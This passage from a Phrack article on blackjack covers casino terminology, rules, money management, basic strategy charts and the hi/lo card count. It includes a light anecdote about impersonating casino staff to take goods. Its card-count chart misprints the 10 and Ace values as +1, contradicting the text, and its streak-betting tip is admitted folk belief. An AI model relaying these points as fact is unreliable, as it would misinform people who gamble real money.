to learn strategies.
Another major contributor in the history of winning BlackJack play is
Julian Braun who worked at IBM. His thousands of lines of computer code and
hours of BlackJack simulation on IBM mainframes resulted in THE Basic
Strategy, and a number of card counting techniques. His conclusions were used
in a 2nd edition of Beat the Dealer, and later in Lawrence Revere's 1977 book
"Playing BlackJack as a Business".
Lastly, let me mention Ken Uston, who used five computers that were built
into the shoes of members of his playing team in 1977. They won over a hundred
thousand dollars in a very short time but one of the computers was
confiscated and sent to the FBI. The fedz decided that the computer used
public information on BlackJack playing and was not a cheating device. You may
have seen this story in a movie made about his BlackJack exploits detailed in
his book "The Big Player". Ken was also featured on a 1981 Sixty Minutes show
and helped lead a successful legal challenge to prevent Atlantic City casinos
from barring card counters.
Useful Definitions:
-------------------
Just as in Social Engineering the Phone Company, an essential element for
success is knowing the right buzzwords and acronyms. Therefore, I list some
relevant definitions now, even though the reader will probably skip over them
to get to the good stuff. The definitions merely serve as a reference for
those who are uninitiated with the terminology of gambling, casinos, and
BlackJack. If you encounter a term you don't understand in the article, look
back here. The definitions are not in alphabetical order on purpose. I grouped
them in what I feel is a logical and easy to remember fashion.
Action: This is a general gambling term which refers to the total amount of
money bet in a specific period of time. Ten bets of ten dollars each
is $100 of action.
Burn Card: A single card taken from the top of the deck or the first card in
a shoe which the dealer slides across the table from his/her left
to the right, and is placed into the discard tray. The card may or
may not be shown face up (which can affect the count if you are
counting cards). A card is burned after each shuffle. I have
not been able to find out how this started nor the purpose for
burning a card. If you know, drop me some email.
Cut Card: A solid colored card typically a piece of plastic which is given to
a player by the dealer for the purpose of cutting the deck(s) after
a shuffle. Cutting the cards in the 'right' location is part of
the 'shuffle tracking' strategy mentioned later in Part 2.
Hole Card: Any face down card. The definition most often refers to the
dealer's single face down card however.
Shoe: A device that can hold up to eight decks of cards which allows the
dealer to slide out the cards one at a time.
Hard Hand: A hand in which any Ace is counted as a 1 and not as an 11.
Soft Hand: A hand in which any Ace is counted as an 11 and not as a 1.
Pat Hand: A hand with a total of 17 to 21.
Stand: To decline another card.
Hit: To request another card.
Bust: When a hand's value exceeds 21....a losing hand.
Push: A player-dealer tie.
Pair: When a player's first two cards are numerically identical (ie, 7,7).
Point Count: The net value of the card count at the end of a hand.
Running Count: The count from the beginning of the deck or shoe. The running
count is updated by the value of the point count after each
hand.
True Count: The running count adjusted to account for the number of cards left
in the deck or shoe to be played.
Bankroll: The stake (available money) a player plans to bet with.
Flat Bet: A bet which you do not vary ie, if you are flat betting ten dollars,
you are betting $10 each and every hand without changing the betting
amount from one hand to the next.
Black Chip: A $100. chip.
Green Chip: A $25.00 chip.
Red Chip: A $5.00 chip.
Foreign Chip: A chip that is issued by one casino and is honored by another
as cash. A casino is not necessarily obligated to accept them.
Settlement: The resolving of the bet. Either the dealer takes your chips,
pays you, or in the case of a push, no exchange of chips occurs.
Toke: Its not what some of you may think...to "toke" the dealer is just
another word for tipping the dealer.
Marker: An IOU. A line of credit provided by the casino to a player.
Junket: An organized group of gamblers that travel to a casino together.
Junkets are usually subsidized by a casino to attract players.
Comp: Short for complimentary. If you wave lots of money around, the casino
(hotel) may give you things like a free room or free f00d hoping you'll
keep losing money at the tables in their casino.
Heat: The pressure a casino puts on a winning player, typically someone who
is suspected of being a card counter.
Shuffle Up: Prematurely shuffling the cards to harass a player who is usually
suspected of being a counter.
Nut: The overhead costs of running the casino.
Pit: The area inside a group of gaming tables. The tables are arranged in
an elliptical manner, the space inside the perimeter is the pit.
House: The Casino of course.
Cage: Short for cashier's cage. This is where chips are redeemed for cash,
checks cashed, credit arranged, etc.
House Percentage: The casino's advantage in a particular game of chance.
Drop Percentage: That portion of the player's money that the casino will win
because of the house percentage. It is a measure of the
amount of a player's initial stake that he or she will
eventually lose. On average this number is around 20 percent.
That is, on average, Joe Gambler will lose $20 of every $100
he begins with.
Head-On: To play alone at a BlackJack table with the dealer.
WAG Player: Wild Assed Guessing player.
SWAG Player: Scientific Wild Assed Guessing player.
Tough Player: What the casino labels an '3L33T' player who can hurt the casino
monetarily with his or her intelligent play.
Counter: Someone who counts cards.
High Roller: A big bettor.
Mechanic: Someone who is elite in regards to manipulating cards, typically for
illicit purposes.
Shill: A house employee who bets money and pretends to be a player to attract
customers. Shills typically follow the same rules as the dealer which
makes them somewhat easy to spot (ie, they don't Double Down or Split).
Pit Boss: An employee of the casino whose job is to supervise BlackJack
players, dealers, and other floor personnel.
Review of BlackJack Rules of Play:
----------------------------------
The rules of BlackJack differ slightly from area to area and/or from casino
to casino. For example, a casino in downtown Vegas may have different rules
than one of the Vegas Strip casinos which may have different rules from a
casino up in Reno or Tahoe (Nevada). The rules in a casino in Freeport Bahamas
may differ from those in Atlantic City, etc. Therefore, it is important to
research, a priori, what the rules are for the area/casino(s) you plan on
playing in. For Nevada casinos you can order a copy of [1] which contains
rules info on all the licensed casinos in the state. Later in this article,
you will see that each set of rule variations has a corresponding Basic
Strategy chart that must be memorized. Memorizing all the charts can be too
confusing and is not recommended.
The BlackJack table seats a dealer and one to seven players. The first seat
on the dealer's left is referred to as First Base, the first seat on the
dealer's right is referred to as Third Base. A betting square is printed on
the felt table in front of each player seat. Immediately in front of the
dealer is the chip tray. On the dealer's left is the deck or shoe and beside
that should be the minimum bet sign--something that you ought to read before
sitting down to play. On the dealer's immediate right is the money drop slot
where all currency and tips (chips) are deposited. Next to the drop slot is
the discard tray. Play begins after the following ritual is completed: the
dealer shuffles the cards, the deck(s) is "cut" by a player using the marker
card, and the dealer "burns" a card.
Before any cards are dealt, the players may make a wager by placing the
desired chips (value and number) into the betting box. I used the word "may"
because you are not forced to bet every hand. Occasionally a player may sit
out a hand or two for various reasons. I have sat out a couple of hands at
times when the dealer was getting extremely lucky and everyone was losing. If
you attempt to sit out too many hands especially if there are people waiting
to play at your table, you may be asked to leave the table until you are ready
to play. If you don't have any chips, put some cash on the table and the
dealer will exchange them for chips.
Once all the bets are down, two cards (one at a time) are dealt from left
to right. In many Vegas casinos, players get both cards face down. In Atlantic
City and most every where else the player's cards are dealt face up. Should
the cards be dealt face up, don't make the faux pas of touching them! They are
dealt face up for a reason, primarily to prevent a few types of player
cheating (see section on cheating in Part 2) and the dealer will sternly but
nicely tell you not to touch the cards. As most of you know the dealer receives
one card down and one card up. The numerical values of the cards are:
(10, J, Q, K) = 10 ; (Ace) = 1 or 11 ; (other cards) = face value (3 = 3).
Since a casino can be as noisy as an old Step-by-Step Switch with all those
slot machines going, marbles jumping around on roulette wheels, demoniacal
shrieks of "YO-LEVEN" at the craps table, people screaming that they hit the
big one and so on, hand signals are usually the preferred method of signalling
hit, stand, etc.
If the cards were dealt face down and you want a hit, lightly flick the
cards across the felt two times. If the cards were dealt face up, point at the
cards with a quick stabbing motion. You may also want to nod your head yes
while saying "hit". The best way to indicate to the dealer that you want to
stand regardless of how the cards were dealt is to move your hand from left
to right in a level attitude with your palm down. Your hand should be a few
inches or so above the table. Nodding your head no at the same time helps,
while saying "stay" or "stand".
Permit me to interject a comment on the number of decks used in a game.
Single deck games are pretty much restricted to Nevada casinos. In the casinos
that have one-deck games, the tables are usually full. Multiple deck games
typically consist of an even number of decks (2, 4, 6, 8) although a few
casinos use 5 or 7 decks. The two main reasons many casinos use multiple decks
are:
1) They allow the dealer to deal more hands per hour thereby increasing
the casino take.
2) They reduce but in no way eliminate the player advantage gained
from card counting.
Dealer Rules - The rules the dealer must play by are very simple. If the
dealer's hand is 16 or less, he/she must take a card. If the dealer's hand is
17 or more, he/she must stand. Note that some casinos allow the dealer to hit
on soft 17 which gives the house a very small additional advantage. The
dealer's strategy is fixed and what you and the other players have is
immaterial to him/her as far as hitting and standing is concerned.
Player rules - The player can do whatever he/she wants as far as hitting and
standing goes with the exception of the following special circumstances. See
the section on Basic Strategy for the appropriate times to hit, stand, split,
and double down. The aim is to have a hand which is higher than the dealers'.
If there is a tie (push), neither you nor the dealer wins. Should a player get
a BlackJack (first 2 cards are an Ace and a ten) the payoff is 150% more than
the original bet ie, bet $10.00 and the payoff is $15.00.
DOUBLE DOWN: Doubling down is restricted to 2-card hands usually totalling
9, 10, or 11 although some casinos allow doubling down on any 2-card hand. If
your first two cards provide you with the appropriate total and your cards
were dealt face down, turn them over and put them on the dealer's side of the
betting square. If your first two cards provide you with the appropriate total
and your cards were dealt face up, point to them and say "double" when the
dealer prompts you for a card and simultaneously put an equal amount of chips
NEXT TO (not on top of) those already in the betting box. The dealer will give
you one more card only, then he/she will move on to the next hand.
SPLITTING PAIRS: If you have a pair that you want to split and your cards are
dealt face down, turn them over and place them a few inches apart. If your
cards were dealt face up, point to your cards and say "split" when the dealer
prompts you for a card. The original bet will go with one card and you will
have to place an equal amount of chips in the betting box near the other card.
You are now playing two hands, each as though they were regular hands with the
exception being that if you have just split two aces. In that case, you only
get one card which will hopefully be a 10. If it is a ten, that hand's total
is now 21 but the hand isn't considered a BlackJack. That is, you are paid 1:1
and not 1:1.5 as for a natural (BlackJack).
Combined example of above two plays: Say you are dealt two fives. You split
them (you dummy!). The next card is another 5 and you re-split them (you
chucklehead!!). Three hands have grown out of one AND you are now in for
three times your original bet. But wait. Say the next card is a six. So one
hand is a 5,6 which gives you eleven; another just has a 5 and the other hand
has a 5. You decide to double down on the first hand. You are dealt a 7 giving
18 which you stand on. Now a ten is dealt for the second hand and you decide
to stay at 15. The last hand is the lonely third 5, which is dealt a four for
a total of nine. You decide to double down and get an eight giving that hand a
total of 17. Shit you say, you started with a twenty dollar bet and now you
are in for a hundred! Better hope the dealer doesn't end up with a hand more
than 18 lest you lose a C-note. The moral of this example is to not get caught
up in the excitement and make rash decisions. However, there have been a
couple of times where Basic Strategy dictated that certain split and double
down plays should be made and I was very low on chips (and cash). Unless you
are *really* psychic, don't go against Basic Strategy! I didn't and usually
came out the better for it although I was really sweating the outcome of the
hand due to my low cash status. The reason it was stupid to split two fives is
that you are replacing a hand that is great for drawing on or doubling down
on, by what will probably be two shitty hands.
INSURANCE: This option comes into play when the dealer's up card is an Ace. At
this point all the players have two cards. The dealer does not check his/her
hole card before asking the players if they want insurance. The reason being
evident as the dealer can't give away the value of the hole card if the dealer
doesn't know what the hole card is. If a player wants insurance, half the
original amount bet is placed on the semicircle labeled "insurance" which is
printed on the table. If the dealer has a BlackJack the player wins the side
bet (the insurance bet) but loses the original bet, thus providing no net loss
or gain since insurance pays 2 to 1. If the dealer does not have a BlackJack,
the side bet is lost and the hand is played normally. If you are not counting
cards DO NOT TAKE INSURANCE! The proper Basic Strategy play is to decline. The
time to take insurance is when the number of non-tens to tens drops below a
2 to 1 margin since insurance pays 2 to 1. It's simple math check it yourself.
SURRENDER: This is a fairly obscure option that originated in Manila
(Philippines) in 1958 and isn't available in many casinos. There are two
versions, "early surrender" and "late surrender". Early surrender allows
players to quit two-card hands after seeing the up card of the dealer. This
option provides the player an additional 0.62 percent favorable advantage
(significant) and therefore the obvious reason why many Atlantic City casinos
abandoned the option in 1982. Late surrender is the same as early except that
the player must wait until the dealer checks for a BlackJack. If the dealer
does not have a BlackJack then the player may surrender. The following table
was taken verbatim from [5] and is valid for games with 4+ decks. It details
the best strategy regarding late surrender as determined from intensive
computer simulation:
TWO-CARD HAND TOTAL DEALER'S UP-CARD
------------- ----- ----------------
9,7 16 ACE
10,6 * 16 * ACE
9,7 * 16 * 10
10,6 * 16 * 10
9,7 * 16 * 10
10,5 * 15 * 10
9,7 16 9
10,5 16 9
"In a single-deck game, you would surrender only the above hands
marked with an asterisk, as well as 7,7 against a dealer's 10
up-card." [5]
Casino variations - Note that some casinos do not permit doubling down on
split pairs, and/or re-splitting pairs. These options provide the player with
a slight additional advantage.
Betting, Money Management, and the Psychology of Gambling:
----------------------------------------------------------
Let me begin this section with the following statement: SCARED MONEY RARELY
WINS. Most gambling books devote quite a bit of time to the psychology of
gambling and rightfully so. There is a fine line to responsible gambling. On
one hand you shouldn't bet money that you cannot afford to lose. On the other
hand, if you are betting with money you expect to lose, where is your
confidence? When I used to gamble, it was small time. I define small time as
bringing $250.00 of 'losable' money. I've lost that much in one night. I
didn't like it, but I still ate that week. One pitfall you can easily fall
into happens AFTER you lose. You scold yourself for losing money you could
have done something productive with. "DAMN, I could have bought a 200 MB hard
drive with that!#&!". You should think about these things BEFORE you play.
Scared money is more in the mind than real. What I mean by that is even if
you gamble with your last $10.00 in the world, it is important to play as
though you have thousands of dollars in front of you. I don't mean piss the
ten bucks away. I mean that there are certain plays you should make according
to your chosen strategy which are the optimum mathematically. Don't make
changes to it out of fear. Fear is not your friend.
The "risk of ruin" is the percent chance that you will lose your entire
bankroll. This percentage should not exceed 5% if you plan on playing multiple
sessions to make money. The risk of ruin is dependent on the sizes of your
bets during a session. The "Kelly Criterion" provides a zero percent risk of
ruin. The system requires that you bet according to the percent advantage you
have at any one time. For example, if you are counting cards and your
advantage for a certain hand is 2% then you may bet 2% of your total bankroll.
If your total is $1000. then you can bet $20. Note that if you won the hand
your bankroll is now $1020 and if your advantage dropped to 1.5%, taking .015
times 1020 (which will determine your next bet size) in your head isn't all
that easy. The literature provides more reasonable systems, but do yourself a
favor and stay away from "betting progressions". See Reference [16] (available
on the Internet) for more information regarding risk of ruin & optimal wagers.
If you are gambling to make money, it is important to define how much cash
you can lose before quitting. This number is called the "stop-loss limit". My
stop-loss limit was my entire session bankroll which was $250 (50 betting
units of $5.00 or 25 betting units of $10.00). This concept is especially
important if you expect to play in the casinos for more than one session. Most
books recommend that your session bankroll be about a fifth of your trip
bankroll. Unfortunately, most people who have $500 in their wallet with a self
imposed stop-loss limit is $200 will violate that limit should they lose the
two hundred. Discipline is what separates the great players from the ordinary
ones.
Obviously you don't want to put a limit on how much you want to win.
However, if you are keeping with a structured system there are certain limits
to what your minimum and maximum bets should be. I am not going to go into
that here though.
In my gambling experience, there has been one non-scientific concept that
has proven itself over and over again. NEVER BUCK A TREND! If you have just
won three hands in a row, don't think that you are now 'due' for a loss and
drastically scale back your bet. If you are winning go with it. A good friend
of mine who was my 'gambling mentor' won $30,000 in a 24 hour period with a
$200 beginning bankroll. This was not accomplished by scaling back bets. By
the same token, if you see that the players at a certain table are losing
consistently, don't sit down at that table. One problem that I've seen is when
someone has won a lot and starts to lose. Mentally, they keep saying, "if I
lose another $100 I will stop". They lose the hundred and say "no, really, the
NEXT $100 I lose, I will stop", etc. When they go broke, that's when they stop.
Live by the following graph typically designated as The Quitting Curve and you
won't fall into that trap:
| * <-+
| * * | Loss
^ | * * | Limit
| | * * <----QUIT! <-+
| | *
W | *
i | *
n | *
n | *
i | *
n | *
g | *
|
|_________________________________________
Time ---------------->
Determine your loss limit and stay with it. Obviously the loss limit will
change as you keep winning. Standard loss limits are 10 to 20 percent of the
current bankroll. Note that this philosophy is also used in stock market
speculation.
Basic Strategy:
---------------
If you only read one section of this file, and you don't already know what
Basic Strategy is, then this is the section you should read. Knowing Basic
Strategy is CRITICAL to you gaining an advantage over the house. The Basic
Strategy for a particular set of rules was developed by intensive computer
simulation which performed a complete combinatorial analysis. The computer
"played" tens of thousands of hands for each BlackJack situation possible and
statistically decided as to which play decision favored the player. The
following 3 charts should be duplicated or cut out from a hardcopy of this
file. You don't want to wave them around at a BlackJack table but its nice to
have them on hand in case you fail to recall some plays, at which time you can
run to the rest room to refresh your memory.
I hope you don't think this is weird but I keep a copy of a certain Basic
Strategy chart in my wallet at ALL times...just in case. Just in case of what
you ask? Permit me to go off on a slight(?) tangent. The following story really
happened. In 1984 I was visiting LOD BBS co-sysop, Paul Muad'dib up in New York
City. After about a week we were very low on cash despite the Pay Phone
windfall mentioned in my Phrack Pro-Phile ;->. I contacted a friend of mine
who was working in New Jersey and he offered us a job for a couple of days. I
spent just about the last of my cash on bus fair for me and Paul figuring that
I would be getting more money soon. Some how, the destination was
miscommunicated and we ended up in Atlantic City, which was not the location of
the job. We were stuck. Our only recourse was to attempt to win some money to
get us back on track. First we needed a little more capital. Paul, being known
to physically impersonate phone company workers, and a Department of Motor
Vehicles computer technician among others, decided to impersonate a casino
employee so he could "look around". Look around he did, found a storage closet
with a portable cooler and a case of warm soda, not exactly a gold mine but
hey. He proceeded to walk that stuff right out of the casino. We commandeered
some ice and walked around the beach for an hour selling sodas. It wasn't all
that bad as scantily clad women seemed to be the ones buying them. To cut the
story short, Paul knew ESS but he didn't know BlackJack. He lost and we
resorted to calling up Sharp Razor, a fellow Legion member residing in NJ, who
gave us (or is it lent?) the cash to continue our journey. For the record, I
was fairly clueless about BlackJack at the time which really means that I
thought I knew how to play but really didn't because I didn't even know Basic
Strategy. The same goes for Paul. Had we had a chart on hand, we would at least
have made the correct plays.
Here are the charts, memorize the one that is appropriate:
Las Vegas Single Deck Basic Strategy Table
Dealer's Up-Card
Your +---+---+---+---+---+---+---+---+----+---+
Hand | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | A |
+-----+---+---+---+---+---+---+---+---+----+---+
| 8 | H | H | H | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 9 | D | D | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 10 | D | D | D | D | D | D | D | D | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 11 | D | D | D | D | D | D | D | D | D | D |
+-----+---+---+---+---+---+---+---+---+----+---+
| 12 | H | H | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 13 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 14 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 15 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 16 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 17 | S | S | S | S | S | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,2 | H | H | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,3 | H | H | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,4 | H | H | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,5 | H | H | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,6 | D | D | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,7 | S | D | D | D | D | S | S | H | H | S |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,8 | S | S | S | S | D | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,9 | S | S | S | S | S | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,A | P | P | P | P | P | P | P | P | P | P |
+-----+---+---+---+---+---+---+---+---+----+---+
| 2,2 | H | P | P | P | P | P | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 3,3 | H | H | P | P | P | P | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 4,4 | H | H | H | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 6,6 | P | P | P | P | P | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 7,7 | P | P | P | P | P | P | H | H | S | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 8,8 | P | P | P | P | P | P | P | P | P | P |
+-----+---+---+---+---+---+---+---+---+----+---+
| 9,9 | P | P | P | P | P | S | P | P | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
|10,10| S | S | S | S | S | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
H = Hit S = Stand D = Double Down P = Split
Las Vegas Multiple Deck Basic Strategy Table
Dealer's Up-Card
Your +---+---+---+---+---+---+---+---+----+---+
Hand | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | A |
+-----+---+---+---+---+---+---+---+---+----+---+
| 8 | H | H | H | H | H | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 9 | H | D | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 10 | D | D | D | D | D | D | D | D | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 11 | D | D | D | D | D | D | D | D | D | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 12 | H | H | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 13 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 14 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 15 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 16 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 17 | S | S | S | S | S | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,2 | H | H | H | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,3 | H | H | H | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,4 | H | H | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,5 | H | H | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,6 | H | D | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,7 | S | D | D | D | D | S | S | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,8 | S | S | S | S | S | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,9 | S | S | S | S | S | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,A | P | P | P | P | P | P | P | P | P | P |
+-----+---+---+---+---+---+---+---+---+----+---+
| 2,2 | H | H | P | P | P | P | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 3,3 | H | H | P | P | P | P | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 4,4 | H | H | H | H | H | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 6,6 | H | P | P | P | P | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 7,7 | P | P | P | P | P | P | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 8,8 | P | P | P | P | P | P | P | P | P | P |
+-----+---+---+---+---+---+---+---+---+----+---+
| 9,9 | P | P | P | P | P | S | P | P | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
|10,10| S | S | S | S | S | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
H = Hit S = Stand D = Double Down P = Split
Atlantic City Multiple Deck Basic Strategy Table
Dealer's Up-Card
Your +---+---+---+---+---+---+---+---+----+---+
Hand | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | A |
+-----+---+---+---+---+---+---+---+---+----+---+
| 8 | H | H | H | H | H | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 9 | H | D | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 10 | D | D | D | D | D | D | D | D | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 11 | D | D | D | D | D | D | D | D | D | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 12 | H | H | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 13 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 14 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 15 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 16 | S | S | S | S | S | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 17 | S | S | S | S | S | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,2 | H | H | H | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,3 | H | H | H | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,4 | H | H | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,5 | H | H | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,6 | H | D | D | D | D | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,7 | S | D | D | D | D | S | S | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,8 | S | S | S | S | S | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,9 | S | S | S | S | S | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
| A,A | P | P | P | P | P | P | P | P | P | P |
+-----+---+---+---+---+---+---+---+---+----+---+
| 2,2 | P | P | P | P | P | P | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 3,3 | P | P | P | P | P | P | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 4,4 | H | H | H | P | P | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 6,6 | P | P | P | P | P | H | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 7,7 | P | P | P | P | P | P | H | H | H | H |
+-----+---+---+---+---+---+---+---+---+----+---+
| 8,8 | P | P | P | P | P | P | P | P | P | P |
+-----+---+---+---+---+---+---+---+---+----+---+
| 9,9 | P | P | P | P | P | S | P | P | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
|10,10| S | S | S | S | S | S | S | S | S | S |
+-----+---+---+---+---+---+---+---+---+----+---+
H = Hit S = Stand D = Double Down P = Split
End of "How To Hack BlackJack": File 1 of 2
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 10 of 27
How to "Hack" BlackJack
By
Lex Luthor
lex@mindvox.phantom.com
Part 2 of 2 (50K)
Card Counting:
--------------
Card Counting? Don't you have to be some sort of mathematical genius or
have a photographic memory to count cards? No, these are as mythical as that
415-BUG-1111 "trace detector" number posted on all those old hacker BBSes.
Well, you may now say, what if the casino is using 4, 6, or even 8 decks?
Surely you can't keep track of 300+ cards! Don't sweat these details. Probably
the hardest part about learning to play successful BlackJack has already been
accomplished in the previous section. That is: memorizing the appropriate
basic strategy chart. All you really need to count cards is the ability to
count up to plus or minus twelve or so...by ONES! Of course there are more
complicated systems but that is all you need to do for the simplest ones.
The first card counting systems were developed by our old friend Dr. Thorp.
He determined through mathematical computation that the card that has the most
influence on the deck being in a favorable condition (for the player) was the
five. When the deck is low in fives, the player has a higher advantage than if
it's sparse in any other card. Logic dictated that for a very simple card
counting strategy, simply keep track of the abundance (or lack thereof) of
fives. This is the basis of his "Five Count" system which was later improved
to include tens and renamed the "Ten Count" system.
Today, there are many different card counting systems. Typically, the more
complex a system is, the better your advantage should you master it. However,
the difference between card counting System X and System Y is usually so small
that ease of using the system becomes more important than gaining an
additional .15 % advantage or whatever it is. I am going to restrict the
discussion to a single card counting system: the high/low (also called the
plus/minus) point count. This strategy is very easy to master. Two other
methods that I recommend if you're serious are the Advanced Plus/Minus and the
"Hi-Opt I" systems. The former being similar to the high/low but assigns
fractional values to certain cards as opposed to integer values which are
easier to add in your head. The latter method is considered one of the most
powerful yet reasonable (with respect to complexity) counting systems of all
time and is detailed extensively on pages 213 to 277 of [7].
The quick and dirty reason why card counting works is this: The player
gains an advantage when a deck has a SHORTAGE of cards valued 2, 3, 4, 5, 6,
7, 8. When a deck has a SHORTAGE of cards valued 9, 10, Ace; the player has a
DISadvantage. If you can tell when the deck is rich in 9's, 10's, and Aces
(ie, when you hold the advantage) you can do one of the following things:
1) Bet more money when the deck is favorable to you.
2) Alter your Basic Strategy play to account for the favorability
thereby increasing the odds of winning a particular hand.
3) Combine 1 & 2 by betting more AND altering Basic Strategy.
Now lets discuss the +/- Point Count. As you can see from the small chart
below, a plus value is given to low cards, and a minus value is given to high
cards. Notice that 7, 8, and 9 have a value of zero. This is because their
overall effect is negligible as compared to the others. Some systems use a
value of -2 for the Ace instead of -1 and give a value of +1 to the seven
instead of zero. If you are using a BlackJack computer game for practice,
check to see what card counting system(s) it uses. They should offer one of
the above two variations. Learn that one, since it will allow you to prepare
well for actual casino play. See the "Some Comments Regarding Computer
BlackJack Programs for the PC" section for more on this. Now the chart:
+-----------------------------------------+
| PLUS (+1) || MINUS (-1) |
+-----------------------------------------+
| 2 | 3 | 4 | 5 | 6 || 7 | 8 | 9 | 10 | A |
+-----------------------------------------+
| 1 | 1 | 1 | 1 | 1 || 0 | 0 | 0 | 1 | 1 |
+-----------------------------------------+
As you may notice, this is a balanced system. There are 20 cards in a deck
that are valued +1: two through six. There are 16 ten value cards and 4 Aces
in a deck (20 total) that are valued -1. The remaining 12 cards (7, 8, 9) have
a value of zero. At the end of a deck the count should be zero. A good drill
to practice is to get a deck of cards, turn them over one by one, and keep
track of the count. If you enter a game mid-way between the deck or shoe, flat
bet until the cards are shuffled. Once the cards are shuffled commence
counting from zero.
Lets do a quick example using ten cards. The following ten cards are shown
in the course of a hand: A, 4, 7, 10, 10, 9, 10, 2, 10, 5. Just so no one gets
lost, we will do one card at a time and then keep the running total: the first
value is -1 (the Ace) & the second is +1 (the 4) = 0 (the current total hand
count). The next card is the 7 which is zero so disregard it. The next card is
a ten so the total count is now -1. The next card is another ten, giving a
total count of -2. The next card is a nine which has a value of zero so ignore
it, total count is still at -2. Next is a ten, total count is at -3. Next is
a two which adds +1 to the minus three yielding a total of -2. A quick look at
the next two cards shows that the two will cancel each other out (-1+1=0). So
